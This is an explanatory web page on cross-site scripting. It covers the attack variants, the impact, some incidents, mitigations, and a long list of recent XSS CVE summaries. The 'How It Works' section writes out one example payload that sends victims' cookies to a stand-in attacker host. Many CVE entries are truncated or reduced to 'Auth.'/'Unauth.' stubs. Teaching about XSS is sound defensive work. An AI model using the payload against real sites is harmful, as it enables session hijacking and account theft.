Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (39158)
A Stored Cross Site Scripting (XSS) vulnerability was found in SourceCodester Task Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
All versions of the package ithewei/libhv are vulnerable to HTTP Response Splitting when untrusted user input is used to build headers values. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
All versions of the package ithewei/libhv are vulnerable to Cross-site Scripting (XSS) such that when a file with a name containing a malicious payload is served by the application, the filename is. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Online Movie Ticket Booking System v1.0 is vulnerable to an authenticated Stored Cross-Site Scripting vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Online Movie Ticket Booking System v1.0 is vulnerable to an authenticated Reflected Cross-Site Scripting vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
discourse-encrypt is a plugin that provides a secure communication channel through Discourse. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
A Cross-site scripting (XSS) vulnerability in Reference ID from the panel Transactions, of Subrion v4.2.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Rite CMS 3.0 has a Cross-Site scripting (XSS) vulnerability that allows attackers to execute arbitrary code via a crafted payload into the Global Content Blocks in the Administration Menu. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Rite CMS 3.0 has Multiple Cross-Site scripting (XSS) vulnerabilities that allow attackers to execute arbitrary code via a crafted payload into the Main Menu Items in the Administration Menu. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Cross-Site Scripting (XSS) vulnerability in installation of October v.3.4.16 allows an attacker to execute arbitrary web scripts via a crafted payload injected into the dbhost field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Multiple Cross Site Scripting (XSS) vulnerability in e017 CMS v.2.3.2 allows a local attacker to execute arbitrary code via a crafted script to the Copyright and Author fields in the Meta & Custom. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Cross Site Scripting (XSS) vulnerability in e017 CMS v.2.3.2 allows a local attacker to execute arbitrary code via a crafted script to the Name filed in the Manage Menu. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A File upload vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to upload a pdf file with hidden Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A File upload vulnerability in WBCE v.1.6.1 allows a local attacker to upload a pdf file with hidden Cross Site Scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
The Font Awesome Integration plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'fawesome' shortcode in versions up to, and including, 5.0 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Font Awesome More Icons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'icon' shortcode in versions up to, and including, 3.5 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The TM WooCommerce Compare & Wishlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'tm_woo_wishlist_table' shortcode in versions up to, and including, 1.1.7 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
OPNsense before 23.7.5 allows XSS via the index.php sequence parameter to the Lobby Dashboard. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
OPNsense before 23.7.5 allows XSS via the index.php column_count parameter to the Lobby Dashboard. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Versions of the package quill-mention before 4.0.0 are vulnerable to Cross-site Scripting (XSS) due to improper user-input sanitization, via the renderList function. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
The commit 3730880 (April 2023) and v.0.9-beta1 of gugoan Economizzer is vulnerable to Clickjacking. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the subcmd parameter in the index.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted script to the title parameter in the index.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 2.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.
A stored cross-site scripting (XSS) vulnerability in the cms/content/edit component of YZNCMS v1.3.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
SpringbootCMS 1.0 foreground message can be embedded malicious code saved in the database. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the cmd parameter in the index.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the txt parameter in the index.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the ID parameter in the index.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting vulnerability in phpkobo AjaxNewTicker v.1.0.5 allows a remote attacker to execute arbitrary code via a crafted payload to the index.php component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Sourcecodester Expense Tracker App v1 is vulnerable to Cross Site Scripting (XSS) via add category. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Real Time Automation 460 Series products with versions prior to v8.9.8 are vulnerable to cross-site scripting, which could allow an attacker to run any JavaScript reference from the URL string. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A vulnerability in the web-based management interface of Cisco Catalyst SD-WAN Manager, formerly Cisco SD-WAN vManage, could allow an authenticated, remote attacker to inject HTML content. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Options for Twenty Seventeen plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'social-links' shortcode in versions up to, and including, 2.5.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Modal Window plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 5.3.5 due to insufficient input sanitization and output escaping on. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Simple Cloudflare Turnstile plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'gravity-simple-turnstile' shortcode in versions up to, and including, 1.23.1 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
The WP Event Manager - Events Calendar, Registrations, Sell Tickets with WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. Public exploit code available.
Stored cross-site scripting (XSS) vulnerability in protection plan name. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in /install/index.php of Black Cat CMS 1.4.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability in /settings/index.php of Black Cat CMS 1.4.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Dreamer CMS v4.1.3 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the component /admin/u/toIndex. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Cross-site scripting (XSS) vulnerability in /panel/configuration/financial/ of Subrion v4.2.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into several. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Cross-site scripting (XSS) vulnerability in /panel/languages/ of Subrion v4.2.1 allow attackers to execute arbitrary web scripts or HTML via a crafted payload injected into 'Title' parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site scripting vulnerability in Order Data Edit page of Welcart e-Commerce versions 2.7 to 2.8.21 allows a remote unauthenticated attacker to inject an arbitrary script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site scripting vulnerability in Item List page of Welcart e-Commerce versions 2.7 to 2.8.21 allows a remote unauthenticated attacker to inject an arbitrary script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A cross-site scripting (XSS) vulnerability in the Add User function of Small CRM v3.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A Cross-site scripting (XSS) vulnerability in Froala Editor v.4.1.1 allows attackers to execute arbitrary code via the Markdown component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A stored cross-site scripting (XSS) vulnerability in the Website column management function of DedeBIZ v6.2.11 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Cross-site scripting vulnerability in Credit Card Payment Setup page of Welcart e-Commerce versions 2.7 to 2.8.21 allows a remote unauthenticated attacker to inject an arbitrary script in the page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross-site scripting vulnerability in Item List page registration process of Welcart e-Commerce versions 2.7 to 2.8.21 allows a remote unauthenticated attacker to inject an arbitrary script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
In WS_FTP Server version prior to 8.8.2, a stored cross-site scripting (XSS) vulnerability exists in WS_FTP Server's Management module. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
In WS_FTP Server versions prior to 8.7.4 and 8.8.2, a reflected cross-site scripting (XSS) vulnerability exists in WS_FTP Server's Ad Hoc Transfer module. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
In Apollo change requests, comments added by users could contain a javascript URI link that when rendered will result in an XSS that require user interaction. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
A reflected cross-site scripting (XSS) vulnerability in the data[redirect_url] parameter of mooSocial v3.1.8 allows attackers to steal user's session cookies and impersonate their account via a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A reflected cross-site scripting (XSS) vulnerability exisits in multiple url of mooSocial v3.1.8 allows attackers to steal user's session cookies and impersonate their account via a crafted URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-site scripting (XSS) vulnerability in Froala Froala Editor v.4.1.1 allows remote attackers to execute arbitrary code via the 'Insert link' parameter in the 'Insert Image' component. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in Resort Reservation System v.1.0 allows a remote attacker to execute arbitrary code and obtain sensitive information via the room, name, and description. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in the Sign-In page of IceWarp WebClient 10.3.5 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the username. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 39158